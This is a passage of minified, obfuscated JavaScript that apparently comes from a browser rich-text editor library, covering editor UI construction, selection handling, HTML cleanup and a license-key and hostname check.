Dg(c,b){c._[a[1178]]= b._}function kX(b){return function(d){var f={},c={};f._= d;c._= (1&&b._)(a[263]);;Dh(c,f)}}function Di(c,b){c._[a[1180]]= b._}function Dj(c,b){c._[a[1181]]= b._}function Dk(c,b){c._[a[415]]= b._}function Dl(c,b){c._[a[409]]= b._}function Dm(c,b){c._[a[1182]]= b._}function Dn(c,b){c._[a[1183]]= b._}function Do(c,b){c._[a[1184]]= b._}function Dp(c,b){c._[a[1185]]= b._}function Dq(c,b){c._[a[1186]]= b._}function Dr(c,b){c._[a[1187]]= b._}function Ds(c,b){c._[a[1188]]= b._}function Dt(c,b){c._[a[1189]]= b._}function Du(c,b){c._[a[1190]]= b._}function Dv(c,b){c._[a[1191]]= b._}function Dw(c,b){c._[a[1192]]= b._}function Dx(c,b){c._[a[1193]]= b._}function Dy(c,b){c._[a[1194]]= b._}function Dz(c,b){c._[a[1195]]= b._}function DA(c,b){c._[a[1196]]= b._}function kY(b,c){return function(){for(var d=0;qq(d,b._[a[40]]);d++){var f=b._[d];if(f[a[1197]]){f[a[1197]](c._)}}}}function kZ(b){return function(){return qs(rh()[a[1198]],b._[a[1199]])}}function la(d,j,f,c,h,g,b){return function(l){if((1&&d._)()){if(!j._[a[1200]]){var k=f._[qn(a[1201],f._[a[1202]])];if(k){(1&&c._)(k,j._)}else {qK()[a[206]](qn(a[1203]+ a[1201],f._[a[1202]]))};DB(j)};DC(h);DD(j);g._[a[93]][a[92]](a[1204]);g._[a[93]][a[28]](a[1205])}else {if(!h._[a[1200]]){var k=f._[qn(a[1201],f._[a[143]])];if(k){(1&&c._)(k,h._)}else {qK()[a[206]](qn(a[1203]+ a[1201],f._[a[143]]))};DE(h)};DF(h);DG(j);g._[a[93]][a[92]](a[1205]);g._[a[93]][a[28]](a[1204])};if(l){(1&&b._)()}}}function lb(b,g,c,f,d){return function(){var h=(1&&b._)(a[274]);if(!h){return};var o=g._[a[208]]();var j=o[a[241]];var k=o[a[314]];var l=o[a[313]];var m=o[a[1093]];(1&&c._)(h);var n=f._[a[238]]();if(d._[a[123]](j)){n[a[1059]](j,k)};if(qi(l,null)&& d._[a[123]](l)&& (qi(l,j)|| qi(m,k))){n[a[1060]](l,m)};o[a[209]]();o[a[312]](n)}}function lc(b){return function(h){var n={},m={},g={},l={},j={},f={},d={},c={};var k={};k= ld(d,g,l,j,f);c._= k;n._= (1&&b._)(h,a[1206]);;m._= (1&&b._)(n._,a[1207]);;g._= [];;l._= [];;j._= [];;f._= [];;d._= ri(1);;n._[a[716]]= le(m,b,n,g,l,j,f,c);return n._}}function lg(){return function(f,b,c,a){var d={};d._= {};;DL(d);return d._}}function li(c,d,g,b,f){return function(){var k={};var h=(1&&d._)((1&&c._)(a[1211]),a[1212]);var l=qq(g._[a[79]],500)?320:640;var j=qp(l* 3,4);k._= (1&&b._)(h,a[185],qn(qn(a[1213]+ l,a[1214])+ j,a[1215]));;DM(k,f,g)}}function lj(l,g,k,c,j,b,h,f,d){return function(q){var m={},n={},p={},t={};m._= q;if(qt(m._,a[436])&& qi(l._,a[1218])){var s;try{s= qX()[a[1220]][a[1219]]()}catch(x){};if(s){s[a[429]](lk(l,m,g),ll(l,m,k));return}};n._= (1&&j._)((1&&c._)(m._),qn(a[1224],m._));;var o=(1&&b._)(n._,a[12],a[926]);var r=(1&&b._)(o,a[12],a[22],a[1225]);r[a[50]]= (1&&c._)(a[1226]);p._= (1&&b._)(o,a[12],a[1227],a[1228]);;p._[a[69]](a[1229],a[973]);rc()(lm(p),100);t._= qt(m._,a[1005])|| qt(m._,a[438]);;p._[a[1230]]= lo(t,m,h,n,p,f,d)}}function lq(g,b,c,f,d){return function(l){var k={},j={},j={};k._= l;if(qt(k._[a[9]],a[263])){if(qi(k._[a[17]][a[9]],a[1231])){j._= k._[a[17]][a[16]](g._[a[13]](a[1231]),k._);;j._[a[70]](k._);DP(j);var h=(1&&b._)(j._,a[1233]);h[a[50]]= (1&&c._)(a[1234]);(1&&f._)(h);return};DQ(k)};if(qt(k._[a[9]],a[1231])){j._= k._;;var h=k._[a[5]](a[1233]);if(qt(h,null)){h= (1&&b._)(j._,a[1233]);h[a[50]]= (1&&c._)(a[1234]);(1&&f._)(h);return}else {h[a[17]][a[29]](h);(1&&d._)(j._)}}}}function lr(c,b){return function(h){var k={},j={},g={};k._= h;var d=(1&&c._)(a[1235],a[1236]);var f=(1&&b._)(d,a[12],a[162]);j._= (1&&b._)(f,a[657],a[1237]);;DR(j);g._= (1&&b._)(f,a[65],a[901]);;DS(g);g._[a[89]]= k._[a[87]](a[741]);g._[a[302]]= ls(g,k)}}function lt(c,b){return function(g){var d=(1&&c._)(qt(g,a[571])?a[1238]:a[1239],a[1240]);var f=(1&&b._)(d,a[12],a[1241])}}function lu(b){return function(){(1&&b._)(a[571])}}function lv(c,g,b,j,l,d,h,f,m,k){return function(u,v){var p={},s={},q={},w={},t={},n={},o={};p._= u;s._= v;q._= (1&&g._)((1&&c._)(a[1242]),a[1243]);;q._[a[93]][a[92]](a[1243]);var y=(1&&b._)(q._,a[12],a[1241]);var r=(1&&b._)(q._,a[1244],a[22],a[649]);w._= (1&&b._)(r,a[650],a[647]);;w._[a[50]]= qn((1&&c._)(p._),a[468]);t._= (1&&b._)(r,a[65],a[1245]);;DT(t);t._[a[302]]= t._[a[1246]]= t._[a[1247]]= t._[a[1230]]= lw(p,t,w);(1&&j._)(t._,a[22]);n._= (1&&b._)(r,a[670],a[22],a[1248]);;o._= null;;n._[a[50]]= (1&&c._)(a[1249]);n._[a[341]]= ly(t,s,o,l,q);rc()(lz(t),10);(1&&d._)(t._,lA(n));var z=(1&&h._)(y);z[a[716]]((1&&c._)(a[1250]),a[1251],lB(q,s));z[a[716]]((1&&c._)(a[1262]),a[1263],lG(b,c,f,q,s));z[a[716]]((1&&c._)(a[971]),a[1547],lI(m,o,q,s,t,b,k))}}function lN(c,b,f,d){return function(k){var g=(1&&c._)(k[a[9]],a[1243]);g[a[93]][a[92]](a[1243]);var h=(1&&b._)(g,a[12],a[1241]);var j=(1&&f._)(h);(1&&d._)(j,k)}}function lO(j,g,h,b,k,c,f,d){return function(){var o={},p={},l={},m={};var q={};q= lP(p,b,k,j,c);l._= q;o._= (1&&g._)(j._[a[1552]],a[1553]);;var r=(1&&h._)(o._);p._= null;;r[a[716]](j._[a[1564]],null,null,lR(l));r[a[716]](j._[a[1565]],null,null,lS(l));r[a[716]](j._[a[1567]],null,null,lT(l));var n=(1&&b._)(r,a[517],a[1569]);(1&&f._)(n,a[967]);n[a[69]](a[1570],(1&&d._)(a[967]));n[a[341]]= lU(p);m._= (1&&b._)(r,a[517],a[1571]);;(1&&f._)(m._,a[963]);m._[a[69]](a[1570],(1&&d._)(a[566]));m._[a[341]]= lV(o,m,f)}}function lW(b){return function(){if(b._&& qq( new (qL())()[a[1085]]()- b._,300)){return true}}}function lX(f,h,g,b,c,d,j){return function(w,t,u){var B={},l={},p={},o={},r={},n={},m={},k={},y={},A={},z={},C={},D={};var s={};var v={};s= lY(m,o,h,y,c,p,n);v= lZ(k);B._= w;l._= t;p._= u;k._= s;y._= v;f._= new (qL())()[a[1085]]();;r._= false;;Er(l,r);if(r._){o._= (1&&b._)(h._,a[1576],qn(a[1577],g._[a[1578]]),l._)}else {o._= (1&&b._)(h._,a[1579],qn(a[1577],g._[a[1578]]),l._)};Es(r);n._= (1&&b._)(o._,a[904]);;n._[a[97]]();m._= false;;qM()[a[98]](a[134],y._);rc()(ma(),100);var q=(1&&b._)(n._,a[899]);A._= (1&&b._)(q,a[900],a[901]);;Eu(A,B);z._= (1&&b._)(n._,a[1580],a[22]);;Ev(g,z);z._[a[182]]= mb(k);Ew(z,k);z._[a[69]](g._[a[86]],(1&&d._)(a[132]));C._= 0;;D._= 0;;q[a[182]]= mc(z,C,D,r,o,n,j);EA(n,k);return n._}}function EB($rte){rh()[a[1586]]= $rte._}function EC($rte){$rte._[a[1587]]= me()}function mf(){return function(){return a[1588]}}function mg(){return function(){}}function mh(){return function(b){var a={},c={};a._= b;c._= this;;return mi(c,a)}}function mj(){return function(c){var h={},b={},f={},g={};var d={};d= ml();f._= d;h._= mk();;h._[a[1589]]= this[a[1589]];b._= this[a[1]];;ED(f,b);g._= new f._();;EE(g,h);EF(h,g);EG(h,b);c[a[140]](g._,[b._,g._]);return h._}}function mm(){return function(c,g){var b={},d={},f={};b._= c;d._= 0;;f._= qM()[a[13]](a[292]);;f._[a[69]](a[1229],a[973]);this[a[1590]]= mn(d,b);this[a[1596]]= mo();this[a[1598]]= mp(f);this[a[1602]]= mq();this[a[1605]]= mr(d);this[a[1606]]= ms()}}function mt(){return function(c,d){var b={};b._= c;this[a[1590]]= mu(b);this[a[1615]]= mv();this[a[1616]]= mw();this[a[1617]]= mx();this[a[1618]]= my();this[a[1619]]= mz();this[a[1620]]= mA();this[a[1621]]= mB();this[a[1622]]= mC();this[a[1623]]= mD()}}function mE($rte){return function(g,h){var d={},c={};var f={};f= mF();d._= g;c._= f;this[a[1590]]= mG(d);this[a[1630]]= mH();this[a[1631]]= mI();this[a[1632]]= mJ();this[a[1633]]= mK();this[a[1637]]= mL();this[a[1639]]= mM();this[a[1642]]= mN();this[a[1643]]= mO();this[a[1644]]= mP();this[a[1645]]= mQ();this[a[1647]]= mR();this[a[1648]]= mS();this[a[1646]]= mT();this[a[1652]]= mU();this[a[1654]]= mV();this[a[1655]]= mW();this[a[1656]]= mX();this[a[1636]]= mY();this[a[1657]]= mZ($rte);this[a[1658]]= na();this[a[1659]]= nb();this[a[1660]]= nc();this[a[1661]]= nd(c);this[a[1662]]= ne(c);this[a[1663]]= nf(c);this[a[1623]]= ng();this[a[1664]]= nh();this[a[1665]]= ni();this[a[1666]]= nj();this[a[1667]]= nk();this[a[1668]]= nl();this[a[1615]]= nm();this[a[1669]]= nn();this[a[1671]]= this[a[1669]];this[a[1672]]= no();this[a[1673]]= np();this[a[1674]]= nq();this[a[1675]]= nr();this[a[1676]]= ns();this[a[1701]]= nt();this[a[1705]]= nu();this[a[1706]]= this[a[1705]];this[a[1707]]= nv();this[a[1708]]= nw();this[a[1711]]= nx();this[a[1713]]= ny();this[a[1714]]= nz();this[a[1616]]= nA();this[a[1617]]= nB();this[a[1715]]= nC();this[a[1716]]= nD();this[a[1717]]= nE();this[a[1718]]= nF();this[a[1719]]= nG();this[a[1720]]= this[a[1662]];this[a[1721]]= this[a[1663]];this[a[1722]]= this[a[1652]];this[a[1723]]= this[a[1657]];this[a[1724]]= this[a[1636]];this[a[1725]]= this[a[1654]];this[a[1726]]= this[a[1655]];this[a[1727]]= this[a[1656]];this[a[1728]]= this[a[1659]];this[a[1729]]= nH();this[a[1730]]= nI();this[a[1732]]= nJ();this[a[1733]]= this[a[1730]];this[a[1734]]= this[a[1732]]}}function nK(){return function(c,d){var b={};b._= c;this[a[1590]]= nL(b);this[a[1664]]= nM();this[a[1665]]= nN();this[a[1622]]= nO();this[a[1668]]= nP();this[a[1615]]= nQ()}}function nR(){return function(c,d){var b={};b._= c;this[a[1590]]= nS(b);this[a[1664]]= nT();this[a[1665]]= nU();this[a[1622]]= nV();this[a[1668]]= nW();this[a[1615]]= nX()}}function nY(b){return function(d,l){var c={},j={},h={},k={};var g={};var f={};g= nZ();f= oa(b);c._= d;j._= g;h._= f;this[a[1590]]= ob(c);k._= /[\u00A0-\u00FF\u0192\u0391-\u03D6\u2002-\u2666]/g;;this[a[1630]]= oc(k);this[a[1631]]= od(k);this[a[1664]]= og(j);this[a[1665]]= oh();this[a[1622]]= oi(h);this[a[1743]]= oj();this[a[1744]]= ok();this[a[1745]]= ol();this[a[1672]]= om();this[a[1673]]= on();this[a[1674]]= oo();this[a[1746]]= op();this[a[1615]]= oq();this[a[1748]]= or();this[a[1749]]= os();this[a[1750]]= ot()}}function ou(){return function(c,d){var b={};b._= c;this[a[1590]]= ov(b);this[a[1756]]= ow();this[a[1757]]= ox();this[a[1758]]= oy();this[a[1759]]= oz();this[a[1760]]= oA();this[a[1761]]= oB();this[a[1664]]= oC();this[a[1665]]= oD();this[a[1615]]= oE();this[a[1766]]= oF();this[a[1668]]= oG();this[a[1767]]= oH()}}function oI(b){return function(d,f){var c={};c._= d;this[a[1590]]= oJ(c);this[a[1668]]= oK();this[a[1665]]= oL(b,c);this[a[1769]]= oM()}}function oN($rte){return function(d,f){var c={};c._= d;this[a[1590]]= oO(c);this[a[1668]]= oP();this[a[1771]]= oQ();this[a[1772]]= oR();this[a[1773]]= oS();this[a[1774]]= oT();this[a[1775]]= oU();this[a[1776]]= oV();this[a[1777]]= oW();this[a[1778]]= oX();this[a[1638]]= oY();this[a[1779]]= oZ($rte);this[a[1780]]= this[a[1640]]= pa();this[a[1637]]= pb();this[a[1759]]= pc();this[a[1758]]= pd();this[a[1784]]= pe();this[a[1785]]= pf();this[a[1615]]= pg(c);this[a[1786]]= ph();this[a[1787]]= pi();this[a[1788]]= pj();this[a[1789]]= pk();this[a[1790]]= pl();this[a[1791]]= pm();this[a[1665]]= pn();this[a[1769]]= po($rte)}}function pp(){return function(b,c){this[a[1714]]= pq()}}function pr(){return function(c,d){var b={};b._= c;this[a[1590]]= ps(b);this[a[1623]]= pt(b)}}function pu(){return function(c,d){var b={};b._= c;this[a[1590]]= pv(b)}}function pw(){return function(b,c){this[a[1668]]= px()}}function py(config,__HtmlDecode,$rte){return function(t){var n={},g={},m={},S={},H={},o={},l={},f={},J={},L={},M={},P={},O={},q={},I={},h={},R={},K={},N={},Q={},r={};var s={};var y={};var A={};var B={};var E={};var D={};var u={};var w={};var G={};var z={};var C={};var F={};var k={};var v={};s= pB(config,l,H,S);y= pC(__HtmlDecode);A= pD($rte,H,f);B= pE($rte,f);E= pF($rte,f);D= pG();u= pH();w= pI(O,q,config,$rte,J,m,h,R);G= pK();z= pL(I,$rte,f,config,g);C= pM(H);F= pN(O,M,K,N);k= pO(n,L,P,M,Q,o,r);v= pP();n._= t;f._= s;J._= y;L._= A;M._= B;P._= E;O._= D;q._= u;I._= w;R._= G;K._= z;N._= C;Q._= F;r._= v;g._= {};;n._= rd()(n._)[a[36]](/^\s+/,a[22]);m._= config._[a[1807]];;S._= [];;H._= null;;o._= n._[a[58]]();;l._= null;;if(config._[a[1808]]&& config._[a[1808]][a[40]]){l._= pz(config)}else {if(config._[a[1809]]&& config._[a[1809]][a[40]]){l._= pA(config)}};h._= /\s*rgb\((\d{1,3})[,]\s*(\d{1,3})[,]\s*(\d{1,3})\)/gi;;try{k()}catch(x){var j=qM()[a[13]](a[12]);j[a[21]]= n._;n._= j[a[21]];k()};var T=[];for(var p=0;qq(p,S._[a[40]]);p++){T[a[39]](S._[p][a[1623]]())};return T[a[108]](a[22])}}function pQ(c,b){return function(){(1&&b._)(c._[a[89]])}}function FC(a){a._= null}function pR(b,c){return function(){for(var d=0;qq(d,b._[a[40]]);d++){var f=b._[d];if(f[a[1829]]){f[a[1829]](c._)}}}}function pS(){return function(b){qP()(qn(a[1834]+ qT()[a[1835]](b),a[1836]))}}function pT(b,c){return function(){FD(b);c._[a[28]]()}}function pU(f,d,g,b,c){return function(){var l={},m={};var k={};k= pV(d,m,c,l);if(qi(f._,d._[a[1119]])|| qi(g._,d._[a[17]])){return false};l._= rh()[a[331]](g._);;m._= b._[a[124]]();;if(!k(d._)){return false};var h=d._[a[5]](a[1121]);for(var j=0;qq(j,h[a[40]]);j++){if(!k(h[j])){return false}};return true}}function pW(b,a){return function(){if((1&&b._)()){return};(1&&a._)()}}function pX(b,a){return function(){if(b._){return};rb()(a._,1000)}}function pY(){return function(c){var f={},g={},g={};var d={};var j={};d= pZ(f);j= qa(g);f._= j;var l=[];g._= 0;for(;qq(g._,c[a[40]]);g._++){l[a[39]](rd()[a[714]](c[g._]))};l= l[a[108]](a[22]);var b=[0x46,0x35,0x32,0x42,0x31,0x38,0x36,0x46];var k=[];g._= 0;for(;qq(g._,b[a[40]]);g._++){k[a[39]](rd()[a[714]](b[g._]))};k= k[a[108]](a[22]);var h=k;return d(k,l,0,1,h)}}function qb(){return function(){return rh()[a[1840]][a[197]][a[45]](a[916])[0]}}function qc(j,h,c,d,f,g,b,k){return function(){var u={},D={},y={};var G={};var E=j._;var q={};var p=[a[728],a[77],a[1841],a[1842],a[1843],a[1844],a[1845],a[1846],a[1847],a[1848],a[274],a[1849],a[1850],a[1851],a[1852],a[1853]];for(var r=0;qq(r,p[a[40]]);r++){q[p[r]]= r};;var F;try{if(qi(h._[a[42]](0,16),a[1854])){return E(G,1001)};var l=[];for(var r=0;qq(r,h._[a[40]]);r+= 2){l[a[39]](qn(q[h._[a[61]](r)]* 16,q[h._[a[61]](qn(r,1))]))};l[a[131]](0,8);l[a[131]](0,123);var n=qn(l[0],l[1]* 256);l[a[131]](0,4);var z=l[a[1855]](0,n);var w=(1&&c._)(z);w= w[a[36]](/^\xEF\xBB\xBF/,a[22])[a[36]](/[\x00-\x08]*$/,a[22]);u._= w[a[45]](a[338]);GR(d,u);if(qi(u._[a[40]],10)){return E(G,1002,u._[a[40]])};var o=u._[9][a[45]](a[469]);var t= new (qL())(qY()(o[2]),qo(qY()(o[1]),1),qY()(o[0]));var v=t[a[1085]]();D._= false;;y._= qr(u._[5],2);;GS(y,D);if(!D._){return E(G,1003,u._[5])};var m=(1&&f._)()[a[45]](a[1857])[1][a[45]](a[469])[0][a[45]](a[468])[0][a[58]]();var s=false;if(qt(m,rd()[a[714]](108,111,99,97,108,104,111,115,116))){s= true};if(qt(m,rd()[a[714]](49,50,55,46,48,46,48,46,49))){s= true};m= (1&&g._)(m);var A=u._[7][a[58]]();var B=u._[8];var C=qZ()(u._[6]);switch(C){case 0:if(qq(v, new (qL())()[a[1085]]())){return E(G,20000,t)};if(s){break};return E(G,20001,m);case ri(1):;case 1:if(s){break};if(qi(A,m)&& qt(A[a[60]](m),-1)){return E(G,20010,m,A)};break;case 2:if(s){break};break;case 3:if(s){break};if(qt(A[a[60]](m),-1)){return E(G,20030,m,A)};break;case ri(4):;case 4:if(qq(v, new (qL())()[a[1085]]())){return E(G,20040,t)};break;case 5:break;default:return E(G,1004,qZ()(u._[6]))}}catch(x){qK()[a[206]](x)};if(qq(C,0)){if(qt(C,a[1858])){(1&&b._)(a[22])};if(qt(C,a[1859])){(1&&b._)(qn(a[1860]+ t[a[1861]](),a[1862]))};return};return (1&&k._)(qZ()(u._[6]))}}function qd(a){return function(f,b,c){var d={};d._= c;switch(b){case 1001:GT(a);break;case 1002:GU(a,d);break;case 1003:GV(a);break;case 1004:GW(a);break;case 20000:GX(a);break;case 20001:GY(a);break;case 20010:GZ(a);break;case 20020:Ha(a);break;case 20030:Hb(a);break;case 20040:Hc(a);break}}}function qe(){return function(b){var c=b[a[45]](a[849]);if(qt(c[0],a[1873])){c[a[131]](0,1)};return c[a[108]](a[849])}}function qf(c,a,b){return function(){if(!c._){return};(1&&a._)(c._);rb()(qg(b),100)}}function rt(b,d,c,a){if(qi(b._,d._)){a._[c._]= b._}}function ru(b){b._= a[47]}function rv(a,b){a._= b._}function rw(c,a,b){a._[c._]= b._}function rx(c,a,b){a._[c._]= b._}function ry(b,c){b._[a[21]]= c._}function rz(b,c){if(b._){c._[a[15]][a[14]]= b._}}function rA(b,c){if(b._){c._[a[64]]= b._}}function rB(c,b){c._= b._[a[71]]}function rC(c,b){c._= b._[a[72]]}function rD(b,c){b._[a[50]]= c._}function y(a,b,c){return function(){rE(a);rF(a,b);rG(a,c)}}function z(b){return function(){qM()[a[73]][a[29]](b._)}}function rH(b,c){b._[a[21]]= c._}function D(b,d,c){return function(){c._[a[69]](b._[a[86]],d._)}}function rI(b,c){if(b._){c._[a[89]]= b._}}function F(b){return function(){var c=b._[a[17]];if(qt(b._,qM()[a[90]])){c[a[93]][a[92]](a[91]);c[a[93]][a[28]](a[94])}else {c[a[93]][a[92]](a[94]);c[a[93]][a[28]](a[91])};if(b._[a[89]][a[20]]()){b._[a[93]][a[92]](a[95]);b._[a[93]][a[28]](a[96]);c[a[93]][a[92]](a[95]);c[a[93]][a[28]](a[96])}else {b._[a[93]][a[28]](a[95]);b._[a[93]][a[92]](a[96]);c[a[93]][a[28]](a[95]);c[a[93]][a[92]](a[96])}}}function G(a){return function(){(1&&a._)()}}function H(a){return function(){(1&&a._)()}}function I(a){return function(){(1&&a._)()}}function J(b,c){return function(d){(1&&b._)(d);if(qi(d[a[102]],c._)){c._[a[97]]()}}}function rJ(a,c,b){c._[a._]= b._}function Q(b,c,d){return function(f){(1&&d._)(qo(f[a[71]],b._),qo(f[a[72]],c._),a[116])}}function R(d,b,c,f){return function(g){(1&&d._)();(1&&f._)(qo(g[a[71]],b._),qo(g[a[72]],c._),a[117])}}function S(c,d,b){return function(){qM()[a[120]](a[118],c._,true);qM()[a[120]](a[119],d._,true);qM()[a[73]][a[29]](b._)}}function U(b,c){return function(d){if(qi(d[a[122]],13)){return};(1&&b._)();rc()(V(c),80)}}function rK(a){a._= null}function rL(a){a._= null}function rM(a){a._= false}function Z(b,c){return function(d){if(qt(d[a[122]],27)){(1&&b._)();(1&&c._)()}}}function rN(c,b){if(!c._){c._= b._[a[130]]= []}}function rO(c,b){c._[a[127]]= b._}function rP(c,b){c._[a[128]]= b._}function rQ(a,b){a._= b._}function rR(a,b){a._= b._}function rS(a){a._= true}function rT(c,b){c._[a[135]]= b._}function bd(b){return function(c){b._[a[39]](c)}}function be(b){return function(c){var d=b._[a[60]](c);if(qi(d,null)){b._[a[131]](d,1)}}}function rU(c,a,b){a._[c._]= b._}function rV(b,a){if(b._){a._++}}function rW(b,a){if(b._){a._++}}function rX(b,a){if(b._){a._++}}function bj(a,b,d,c){return function(f,g,h){var j={},k={};j._= f;k._= g;sf(a,b,d,j);sg(b,c,k)}}function sz(c,b,d){if(c._[a[230]]&& qi(c._[a[230]],b._)){if(c._[a[230]][a[124]]){d._= c._[a[230]]}else {if(c._[a[230]][a[17]]&& qi(c._[a[230]][a[17]],b._)&& c._[a[230]][a[17]][a[124]]){d._= c._[a[230]][a[17]]}}}}function sA(c,f,d,b){if(qv(c._[a[234]],qn(f._[a[109]],f._[a[231]])- d._)){f._[a[109]]= qn(qn(b._,c._[a[234]])- f._[a[231]],d._)}else {if(qq(c._[a[234]],f._[a[109]])){f._[a[109]]= qn(b._,c._[a[234]])}}}function sB(b,d,c){b._+= qn(d._[a[73]][a[109]]+ c._[a[217]],c._[a[219]])}function sC(b,a){if(b._){a._+= 12}}function sD(b,a){b._= a._}function sE(c,b){c._[a[15]][a[240]]= qn(b._,a[27])}function sF(b){if(qi(b._[a[236]],1)){b._= b._[a[17]]}}function sG(c,b,d){if(qv(c._[a[237]],b._)&& qv(c._[a[80]],qo(b._,d._[a[26]])+ (qo(c._[a[237]],b._)))){d._[a[109]]+= qo(c._[a[237]],b._)}}function sH(b){if(qt(b._[a[9]],a[104])|| qt(b._[a[9]],a[105])){while(qi(b._[a[9]],a[103])){b._= b._[a[17]]}}}function sI(c,b){b._[c._][a[15]][a[258]]= a[259]}function sJ(c,b){b._[c._][a[15]][a[76]]= a[260]}function bv(c,b,d){return function(f,h,j){var l={},m={},k={},g={};l._= h;m._= j;k._= c._[a[79]];;g._= c._[a[26]];;(1&&d._)(f,bw(k,l,g,m,c,b))}}function bx(a){return function(b){(1&&a._)(b,ri(1),0)}}function by(a){return function(b){(1&&a._)(b,1,0)}}function bz(a){return function(b){(1&&a._)(b,0,ri(1))}}function bA(a){return function(b){(1&&a._)(b,0,1)}}function bB(a){return function(b){(1&&a._)(b,ri(1),ri(1))}}function bC(a){return function(b){(1&&a._)(b,1,ri(1))}}function bD(a){return function(b){(1&&a._)(b,ri(1),1)}}function bE(a){return function(b){(1&&a._)(b,1,1)}}function bF(b){return function(){b._[a[264]]()}}function bG(b,c){return function(){b._[a[28]]();qI()(c._)}}function bH(w,p,b,c,y,v,f,q,d,u,r,s,t,m,g,k,l,o,n,h,j){return function(){var z={},A={},A={},B={},C={};if(!p._[a[123]](w._)){return rc()(b._,1)};z._= (1&&c._)(w._);;if(y._){A._= v._[a[124]]();;sO(f,z,A);sP(f,z,A)}else {A._= q._[a[124]]();;sQ(f,z,A,q);sR(f,z,A,q)};B._= d._[a[268]]|| 0;;sS(u,r,z,B);sT(s,t,z,B);sU(s);sV(u,r,B);sW(u);sX(s,t,B);sY(t,z);sZ(r,z);C._= d._[a[270]]|| 0;;ta(m,z);tb(m,C);tc(g,z);td(g,z,C);te(k,C);tf(k,z);tg(l,z,C,o);th(l,z);ti(n,C);tj(n,C);tk(o,C);tl(o,z,C);tm(h,C);tn(h,z,C);to(j,z,C);tp(j,z,C)}}function tq(b){if(qt(b._,a[105])){b._= a[104]}}function bJ(c,b){return function(){b._[a[29]](c._)}}function bK(o,l,c,h,b,q,g,f,k,p,m,n,j,d){return function(){var r={},B={},t={},s={},z={};r._= o._?(1&&c._)((1&&l._)()):(1&&b._)(h._);;if(qt(q._,a[104])&& g._&& f._){B._= (1&&k._)(a[282],a[283]);;tr(B,g,f);r._= (1&&b._)(g._);ts(r);for(var w=0;qq(w,B._[a[40]]);w++){var A=B._[w];t._= (1&&b._)(A);;tt(t,r);tu(t,r);tv(t,r);tw(t,r)};tx(r);ty(r)};s._= p._[a[124]]();;var u=m._[a[124]]();(1&&j._)(n._);var v=n._[a[26]];z._= qn(r._[a[78]],(qo(r._[a[125]]/ 2,n._[a[79]]/ 2)));;tz(z,s,n);n._[a[15]][a[78]]= qn(qW()[a[111]](qo(s._[a[78]],15),z._)- u[a[78]],a[27]);var y=12;if((1&&d._)()){y= 24};if(qv(qo(r._[a[80]],v)- y,s._[a[80]])){n._[a[15]][a[80]]= qn(qo(r._[a[80]]- v,y)- u[a[80]],a[27])}else {n._[a[15]][a[80]]= qn(qn(qW()[a[232]](r._[a[237]],s._[a[237]]),y)- u[a[80]],a[27])}}}function tA(a){a._= null}function tB(a){a._= null}function tC(a){a._= null}function tD(a){a._= true}function tE(a,b){a._= b._}function tF(a){a._= []}function tG(a){a._= false}function tH(a){a._= true}function tI(a){a._= false}function tJ(a){a._= null}function tK(a){a._= null}function tL(a){a._= null}function tM(a){a._= null}function tN(b){b._[a[15]][a[18]]= a[296]}function tO(b){b._[a[15]][a[18]]= a[19]}function tP(b,c){b._[a[15]][a[300]]= qn(c._,a[27])}function tQ(b,c){b._[a[15]][a[240]]= qn(c._,a[27])}function bV(){return function(b){b[a[301]]()}}function tR(b,c){b._[a[89]]= c._}function bW(d,b,c){return function(){d._[a[21]]= (1&&c._)(b._[a[89]])}}function tS(c,b){if(c._){b._[a[303]]= true}}function tT(b){b._= a[22]}function tU(b,c){b._+= qn(c._,a[308])}function tV(b,c,d){b._+= qn(c._+ d._,a[308])}function tW(b,a){b._= a._}function tX(b,a){b._= qn(a._,9)}function cb(b,a){return function(){if(!(1&&b._)()){(1&&a._)()}}}function tY(b){b._= b._[a[17]]}function tZ(b){if(b._&& qi(b._[a[236]],1)){b._= b._[a[17]]}}function ua(b){b._= b._[a[17]]}function cl(d,b,c,f){return function(){if(qt(d._,null)){return};b._[a[29]](d._);ub(d);b._[a[29]](c._);uc(c);if(f._[a[334]]){f._[a[334]]()}}}function ud(c,d,b){c._[a[15]][a[78]]= qn(d._[a[78]]- b._[a[78]],a[27])}function ue(c,d,b){c._[a[15]][a[80]]= qn(d._[a[80]]- b._[a[80]],a[27])}function uf(b,c){b._[a[15]][a[25]]= qn(c._[a[25]],a[27])}function ug(b,c){b._[a[15]][a[125]]= qn(c._[a[125]],a[27])}function uh(b,c){if(b._){c._[a[64]]= b._}}function ui(b,c){b._[a[127]]= c._[a[127]]}function uj(c,b){c._[a[341]]= b._}function uk(f,d,b,c,g){if(qv(f._[a[78]]+ d._[a[79]],b._)){d._[a[15]][a[78]]= qn(qo(f._[a[78]]- c._[a[78]],d._[a[79]])+ g._[a[79]],a[27])}else {d._[a[15]][a[78]]= qn(f._[a[78]]- c._[a[78]],a[27])}}function ul(c,d,b){c._[a[15]][a[80]]= qn(qo(d._[a[80]],b._[a[80]])+ d._[a[25]],a[27])}function um(c,b){c._[a[345]]= b._}function un(c,b){c._[a[64]]= qn(a[346],b._)}function uo(b){b._[a[15]][a[14]]= a[347]}function cn(c,h,d,g,f,b){return function(j){(1&&c._)(j);(1&&d._)(h._);if(h._[a[93]][a[123]](a[348])){return};(1&&b._)(h._,g._,qn(a[346],f._))}}function up(c,b){c._[a[345]]= b._}function uq(c,b){c._[a[64]]= qn(a[346],b._)}function ur(b){b._[a[15]][a[14]]= a[350]}function us(b){b._[a[21]]= a[22]}function co(c,h,d,g,f,b){return function(j){(1&&c._)(j);(1&&d._)(h._);if(h._[a[93]][a[123]](a[348])){return};(1&&b._)(h._,g._,qn(a[346],f._))}}function cq(c,g,a,d,f,b){return function(h){(1&&c._)(h);(1&&a._)(g._);(1&&f._)(d._,h);(1&&b._)()}}function ut(b){b._[a[355]]= cr()}function uu(b){b._[a[356]]= cs()}function cu(c,b){return function(d){var f=d[a[357]];if(qt(f[a[58]](),a[358])){f= c._[a[291]]};(1&&b._)(f)}}function cv(d,g,h,c,b,f){return function(o){var m={},j={};o[a[93]][a[92]](a[359]);var k=(1&&d._)();var n=g._[a[361]][a[45]](a[360]);for(var l=0;qq(l,n[a[40]]);l++){m._= n[l];;j._= (1&&c._)(o,h._);;uv(j,m);var p=m._;if(qt(p[a[58]](),a[358])){p= a[12]};(1&&b._)(j._,p)[a[50]]= (1&&f._)(m._);if(qi(k,null)&& qt(k[a[9]][a[58]](),p[a[58]]())){j._[a[93]][a[92]](a[362])}}}}function cx(c,b){return function(){c._= (1&&b._)();if(c._){c._[a[69]](a[367],a[77])}}}function cy(b){return 